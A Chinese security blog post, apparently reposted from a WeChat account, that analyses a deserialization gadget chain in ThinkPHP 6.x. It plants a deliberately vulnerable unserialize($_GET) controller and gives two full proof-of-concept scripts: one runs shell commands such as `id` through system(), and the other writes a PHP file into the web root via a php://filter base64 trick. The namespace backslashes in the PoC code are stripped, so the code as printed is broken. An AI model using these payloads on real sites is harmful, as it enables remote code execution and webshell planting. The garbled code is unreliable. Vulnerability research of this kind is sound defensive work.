环境准备
安装ThinkPHP 6.0
composer create-project topthink/think=6.0.x-dev v6.0
修改application/index/controller/Index.php Index类的代码
class Index
{
public function index()
{
$payload = unserialize(base64_decode($_GET['payload']));
return 'ThinkPHP V6.x';
}
}
开启ThinkPHP6调试
将根目录.example.env更改为.env,文件中添加:APP_DEBUG = true
POP链分析
__destruct()
依旧是全局搜索 __destruct() ,我们查看在 /vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 中的__destruct
使 $this->autosave = false
可以触发 $this->save()
CacheStore
AbstractCache是一个抽象类,我们使用find usages寻找继承它的类
在 /vendor/topthink/framework/src/think/filesystem/CacheStore.php 中的 CacheStore 类继承了 AbstractCache 类,并实现了 save()
方法
save()
方法中涉及 getForStorage()
方法,我们跟进此方法
getForStorage()
回到 AbstractCache.php 中我们找到了 getForStorage()
方法,继续跟进 cleanContents()
cleanContents()
array_flip
对数组反转,array_intersect_key
取数组交集
然后函数会将 $contents
返回给 getForStorage()
中的 $cleaned
,经过 json_encode
后返回给前面的 save()
方法
$contents
变量接收函数返回值后,进入下面了逻辑,此时$this->store
是可控的,我们可以调用任意类的set
方法,如果这个指定的类不存在set
方法,就有可能触发__call()
。当然也有可能本身的set()
方法就可以利用。
Notice:在对象中调用一个不可访问方法时,__call()
会被调用。有关 __call()
方法的详细说明,参见php手册https://www.php.net/manual/zh/language.oop5.overloading.php#object.call
set()
我们利用在File类中的 set
() 方法
serialize()方法
此处有两种利用方法,我们先分析利用 serialize()
方法的POP链
$this->options['serialize'][0]
可控,可以执行任意函数,参数为$data
我们从set()
方法中可知,$data
来源于 $value
的传值,在继续从CacheStore 中可知 $value
来源于 $contents
,
即json_encode
后的数据,由此我们需要使json_encode
后的数据被当作代码执行。
此时需要注意一个问题
我们发现由于 json_encode
的缘故,命令被方括号包裹导致无法正常执行。在Linux环境中我们可以使用 `command` 这样的形式使被包裹的command优先执行,我们可以构造如下payload
报错信息中包含命令执行结果
POC
<?php
namespace LeagueFlysystemCachedStorage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`id`";
// protected $complete = ""&whoami&" ;
// 在Windows环境中反引号无效,用&替代
}
}
namespace thinkfilesystem{
use LeagueFlysystemCachedStorageAbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace thinkcache{
abstract class Driver
{
protected $options = ["serialize"=>["system"],"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"];
}
}
namespace thinkcachedriver{
use thinkcacheDriver;
class File extends Driver{}
}
namespace{
$file = new thinkcachedriverFile();
$cache = new thinkfilesystemCacheStore($file);
echo base64_encode(serialize($cache));
}
?>
file_put_contents()写文件
第179行可以看到 file_put_contents()
有两个参数 $filename
、$data
,向上查找这两个变量从何而来
-
$data:前面分析已知来源于
$this->serialize
,此处存在exit()
,我们可以使用php://filter
来避免。 -
$filename:
此函数的返回值是带有文件名的文件路径
第67行
$name = hash($this->options['hash_type'], $name);
$name
为文件名,来源于$this->key
,可控,$this->options['hash_type']
也可控。最终文件名是经过hash后的,所以最终文件名可控(本文演示POC中$key = "1"
,$this->options['hash_type'] = 'md5'
,所以最终文件名为1的md5值)。$this->options['path']
使用php filter构造php://filter/write=convert.base64-decode/resource=think/public/
指向tp6根目录最终拼接后的
$filename
为php://filter/write=convert.base64-decode/resource=think/public/name.php
此外,为了确保php伪协议进行base64解码之后我们的shell不受影响,所以要计算解码前的字符数。
假设传入的
$expire=1
,那么shell前面部分在拼接之后能够被解码的有效字符为:php//000000000001exit
共有21个,要满足base64解码的4字符为1组的规则,在其前面补上3个字符用于逃逸之后的base64解码的影响。
POC
<?php
namespace LeagueFlysystemCachedStorage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "uuuPD9waHAgcGhwaW5mbygpOw==";
//文件内容是phpinfo(); uuu为在其前面随意填充的三个字符
}
}
namespace thinkfilesystem{
use LeagueFlysystemCachedStorageAbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace thinkcache{
abstract class Driver
{
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=think/public/","data_compress"=>0];
}
}
// 路径最好写成绝对路径
namespace thinkcachedriver{
use thinkcacheDriver;
class File extends Driver{}
}
namespace{
$file = new thinkcachedriverFile();
$cache = new thinkfilesystemCacheStore($file);
echo base64_encode(serialize($cache));
}
?>
使用此方法需注意路径是否可写以可执行等权限问题
长按识别二维码,求关注求点👍
本文始发于微信公众号(宽字节安全):ThinkPHP 6.x反序列化POP链(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论